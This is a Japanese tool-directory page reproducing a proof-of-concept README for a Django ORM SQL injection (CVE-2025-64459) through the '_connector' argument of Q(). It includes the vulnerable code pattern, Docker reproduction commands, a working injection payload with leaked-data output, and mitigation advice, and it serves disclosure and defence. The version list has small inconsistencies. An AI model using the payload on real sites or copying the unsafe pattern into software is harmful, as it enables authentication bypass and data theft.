Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-64459-Poc — 脆弱性: QuerySet および Q() のキーワード引数アンパックを介したSQLインジェクション CVE ID: CVE-2025-64459 深刻度: Critical (CVSS 9.1) 影響を受けるバージョン: Django 5.1 < 5.1.14, 4.2 < 4.2.26, and 5.2 < 5.2.8 研究者: Cyberstan (University of Warwick) | Kitploit
ツール/GitHubGitHub/0xcyberstan/cve-2025-64459-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育データベースセキュリティ
GitHub0xcyberstan/cve-2025-64459-poc

CVE-2025-64459-Poc

脆弱性: QuerySet および Q() のキーワード引数アンパックを介したSQLインジェクション CVE ID: CVE-2025-64459 深刻度: Critical (CVSS 9.1) 影響を受けるバージョン: Django 5.1 < 5.1.14, 4.2 < 4.2.26, and 5.2 < 5.2.8 研究者: Cyberstan (University of Warwick)

リポジトリを見る
2139ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-64459:Django ORM SQLインジェクション PoC

Severity CVSS Django

脆弱性: QuerySet および Q() キーワード引数のアンパックによるSQLインジェクション CVE ID: CVE-2025-64459 発見者: Me (Cyberstan) 開示日: 2025年11月5日


🚨 エグゼクティブサマリー

このリポジトリには、Django ORMにおける重大なSQLインジェクションの脆弱性を実証するDocker化された概念実証(PoC)が含まれています。

この脆弱性は、Qオブジェクトがインスタンス化時にキーワード引数を処理する方法に存在します。具体的には、内部属性_connectorが辞書アンパック(例:Q(**user_input))で渡された際に適切にサニタイズされません。これにより、リモート攻撃者がデータベースクエリのWHERE句に任意のSQLロジックを注入し、、、が可能になります。

認証バイパス
データ流出
権限昇格

影響を受けるバージョン

  • Django 5.1: 5.1.14未満のバージョン
  • Django 5.0: 5.2.8未満のバージョン
  • Django 4.2: 4.2.26未満のバージョン

⚙️ 技術的分析

根本原因

脆弱性はdjango.db.models.sql.where.WhereNodeに存在します。SQLのWHERE句をコンパイルするas_sqlメソッドは、クエリコネクタ(AND/OR)を挿入するために安全でない文字列フォーマットを使用しています。

コネクタは通常"AND"または"OR"にデフォルト設定されますが、DjangoはQオブジェクトコンストラクタの_connectorキーワード引数でこれを上書きすることを許可しています。

root@kitploit:~
# django/db/models/sql/where.py における脆弱なロジックの簡略化
def as_sql(self, compiler, connection):
    # ...
    # self.connector 属性が検証なしで直接注入される
    conn = ' %s ' % self.connector
    # ...

攻撃ベクトル

この脆弱性は、開発者が検索APIなどでユーザー入力からフィルタを構築するために辞書アンパックを使用した場合に発動します。

脆弱なコードパターン:

root@kitploit:~
# 攻撃者は 'filters' のキーと値を制御できる
filters = request.GET.dict() 
query = Q(**filters)  # <--- 脆弱なポイント
results = User.objects.filter(query)

攻撃者が入力に_connectorをキーとして含めた場合、SQL構造を操作できます。


🛠️ 再現手順

このPoCは、脆弱なバージョンのDjango(5.1)を含む一貫した隔離環境を確保するためにDockerを使用します。

前提条件

  • Docker
  • Docker Compose

1. リポジトリのクローン

root@kitploit:~
git clone https://github.com/stanly363/CVE-2025-64459-PoC.git
cd CVE-2025-64459-PoC

2. エクスプロイトの実行

以下のコマンドで環境を構築し、攻撃スクリプトを実行します:

root@kitploit:~
docker-compose up --build

3. 出力の分析

コンテナは、脆弱なアプリケーションエンドポイントを模倣したPythonスクリプト(poc.py)を実行します。

  1. 2人のユーザーを作成:alice(標準)とroot(管理者)
  2. 悪意のある_connectorペイロードを含む検索リクエストを模倣する
  3. 生成された生のSQLと漏洩したデータベース行を出力する

エクスプロイト成功時の出力:

root@kitploit:~
Simulating malicious user payload:
{'is_admin': False, 'username': 'nonexistent_user', '_connector': ') OR 1=1 OR ('}
----------------------------------------
Generated SQL:
SELECT ... FROM "webapp_user" WHERE (NOT "webapp_user"."is_admin" ) OR 1=1 OR ( ... )
----------------------------------------
[+] SUCCESS: Filter bypassed via dictionary unpacking! Admin user exposed.

🛡️ 修正/対策

緊急パッチ

Djangoを最新のセキュリティリリースに直ちにアップグレードしてください。

  • pip install Django==5.1.14(または該当バージョン)

このパッチはWhereNodeに厳格な検証を導入し、connectorが常にANDまたはORのみになることを保証します。

コードの衛生 / 回避策

すぐにアップグレードできない場合は、コードベース内でのQ(**kwargs)やfilter(**kwargs)の使用を監査してください。これらのメソッドに渡される辞書には決して生のユーザー制御キーが含まれないようにしてください。

安全なパターン:

root@kitploit:~
# 許可されるフィールドを明示的にホワイトリスト化
allowed_filters = {'username', 'email', 'is_active'}
clean_filters = {k: v for k, v in request.GET.items() if k in allowed_filters}

# これで安全にアンパックできる
User.objects.filter(**clean_filters)

⚠️ 免責事項

このリポジトリは教育およびセキュリティ研究目的のみに使用されます。

提供されるコードは、特定のセキュリティ欠陥を実証するために脆弱な環境を作成します。本番環境で決して実行しないでください。著者(Cyberstan)は、この情報の誤用について一切の責任を負いません。明示的な許可なくシステムに対してこのエクスプロイトをテストすることは違法です。 '''

ツールをダウンロード